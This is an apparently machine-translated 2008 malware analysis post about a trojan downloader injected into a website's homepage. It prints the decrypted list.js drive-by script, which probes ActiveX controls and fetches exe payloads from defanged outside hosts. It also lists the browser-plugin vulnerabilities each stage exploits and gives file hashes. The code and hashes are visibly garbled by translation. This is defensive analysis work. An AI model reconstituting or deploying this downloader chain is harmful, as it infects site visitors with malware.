Trojan. DL. win32.small. GKM

Trojan. DL. win32.small. GKM

EndurerOriginal
2008-01-231Version

Open the website, Kaspersky report:
14:30:41 malicious HTTP object ProgramTrojan-Downloader.JS.Small.js.

Check the homepageCode, Found:
/---
<Script language = "javascript1.2" src = "hxxp: // list **. Ad ** s ** looks.info/list.js"> </SCRIPT>
---/

It may be that the IDC where the website server is located has ARP viruses.

Hxxp: // list **. Ad ** s ** looks.info/list.js code is decrypted as follows:
/---
If (document. cookie. indexof ('oksun') =-1) {try {var E; var ADO = (document. createelement ("object"); ADO. setattribute ("classid", "CLSID: BD96C556-65A3-11D0-983A-00C04FC29E36"); VaR as = ADO. createobject ("ADODB. stream "," ")} catch (e) {}; finally {var expires = new date (); expires. settime (expires. gettime () + 24x60x60*1000); document. cookie = 'oksun = sun; Path =/; expires = '+ expires. togmtstring (); document. write ("<SCRIPT src = hxxp :/ /K ***. 2 *** 2 * 360.com/6.gif> <// SCRIPT> "); If (E! = "[Object Error]") {document. write ("<SCRIPT src = hxxp: // K ***. 2*2 ** 2 * 360.com/1.gif> </SCRIPT> ")} else {try {var F; var storm = new activexobject (" MPs. stormplayer ")} catch (f) {}; finally {If (F! = "[Object Error]") {document. write ("<SCRIPT src = hxxp: // K ***. 2*2 ** 2 * 360.com/2.gif> </SCRIPT> "); document. write ("<Div style =/" cursor: URL ('hxxp: // K ***. 2*2 ** 2 * 360.com/ads.c')/"> </div>")} Try {var g; var PPS = new activexobject ("powerplayer. powerplayerctrl.1 ")} catch (g) {}; finally {If (G! = "[Object Error]") {document. write ("<SCRIPT src = hxxp: // K ***. 2*2 ** 2 * 360.com/3.gif> </SCRIPT> "); document. write ("<Div style =/" cursor: URL ('hxxp: // K ***. 2*2 ** 2 * 360.com/ads.c')/"> </div>")} Try {var h; var thunder = new activexobject ("dpclient. VOD ")} catch (h) {}; finally {If (H! = "[Object Error]") {document. write ("<SCRIPT src = hxxp: // K ***. 2*2 ** 2 * 360.com/4.gif> </SCRIPT> "); document. write ("<Div style =/" cursor: URL ('hxxp: // K ***. 2*2 ** 2 * 360.com/ads.c')/"> </div>")} Try {var I; var Yahoo = new activexobject ("glchat. glchatctrl.1 ")} catch (I) {}; finally {if (I! = "[Object Error]") {document. write ("<IFRAME Style = display: None src = hxxp: // K ***. 2*2 ** 2 * 360.com/5.gif> </iframe> ")} Try {var J; var OBJ = new activexobject (" baidubar. tool ")} catch (j) {}; finally {If (J! = "[Object Error]") {obj. dloadds ("hxxp: // K ***. 2*2 ** 2 * 360.com/ads/ads.cab "," ads.exe ", 0); document. write ("<Div style =/" cursor: URL ('hxxp: // K ***. 2*2 ** 2 * 360.com/ads.c')/"> </div> ")}} if (F = "[object Error]" & G = "[object Error]" & H = "[object Error]" & I = "[ object Error] "& J =" [object Error] ") {document. write ("<Div style =/" cursor: URL ('hxxp: // K ***. 2*2 ** 2 * 360.com/ads.c')/"> </div>") }}< script src = hxxp: // K ***. 2*2 ** 2 * 360.com/6.gif> </SCRIPT> <SCRIPT src = hxxp: // K ***. 2*2 ** 2 * 360.com/3.gif> </SCRIPT> <Div style = "cursor: URL ('hxxp: // K ***. 2*2 ** 2 * 360.com/ads.c') "> </div>
---/

1. hxxp: // K *****. 2 ** 2 ** 360.com/6.gif contains code that exploits the RealPlayer vulnerability.

2. hxxp: // K ***. 2 ** 2 ** 2 * 360.com/1.gif
Kaspersky reported as Trojan-Downloader.JS.Small.en, contains Javascript script code for downloading hxxp: // K ***. 2 ** 2 ** 360.com/ads/ads.jpg.exe with ms06014 Vulnerability

File Description: D:/test/ads.jpg.exe
Attribute: ---
An error occurred while obtaining the file version information!
Creation Time: 13:15:50
Modification time: 13:15:50
Access time:
Size: 6656 bytes, 6.512 KB
MD5: f81ce2b0f46ca9ced6558fdadfb000099
Sha1: 90e14f9049b51df1bf70a836da-2c782b321714e
CRC32: d55ccaa9

Kaspersky reported as Trojan-Downloader.Win32.Small.gkm, Star reported as Trojan. DL. win32.small. GKM

3. hxxp: // K ***. 2 ** 2 ** 2 * 360.com/2.gif
Contains the Javascript script code for downloading hxxp: // ads **. Ad ** s ** looks.info/ads/ads.exe using the storm audio and video vulnerability.

The difference between ads.exe and ads.jpg.exe is the same.

4. hxxp: // K ***. 2 ** 2 ** 2 * 360.com/ads.c
Use the ani vulnerability to download hxxp: // ads **. Ad ** s ** looks.info/ads/ads.exe

5 hxxp: // K ***. 2 ** 2 ** 2 * 360.com/3.gif
Contains the Javascript script code for downloading hxxp: // ads **. Ad ** s ** looks.info/ads/ads.exe using the PPStream vulnerability.

5. hxxp: // K ***. 2 ** 2 ** 2 * 360.com/4.gif
Contains the Javascript script code for downloading hxxp: // ads **. Ad ** s ** looks.info/ads/ads.exe using the thunder vulnerability.

6. hxxp: // K ***. 2 ** 2 ** 2 * 360.com/5.gif
Kaspersky reported as Trojan-Downloader.JS.Small.jh
Download hxxp: // ads **. Ad ** s ** looks.info/ads/ads.exe using the glchat. ocx control vulnerability in the Internet world.

7. hxxp: // K ***. 2 ** 2 ** 2 * 360.com/ads/ads.cab contains ads.exe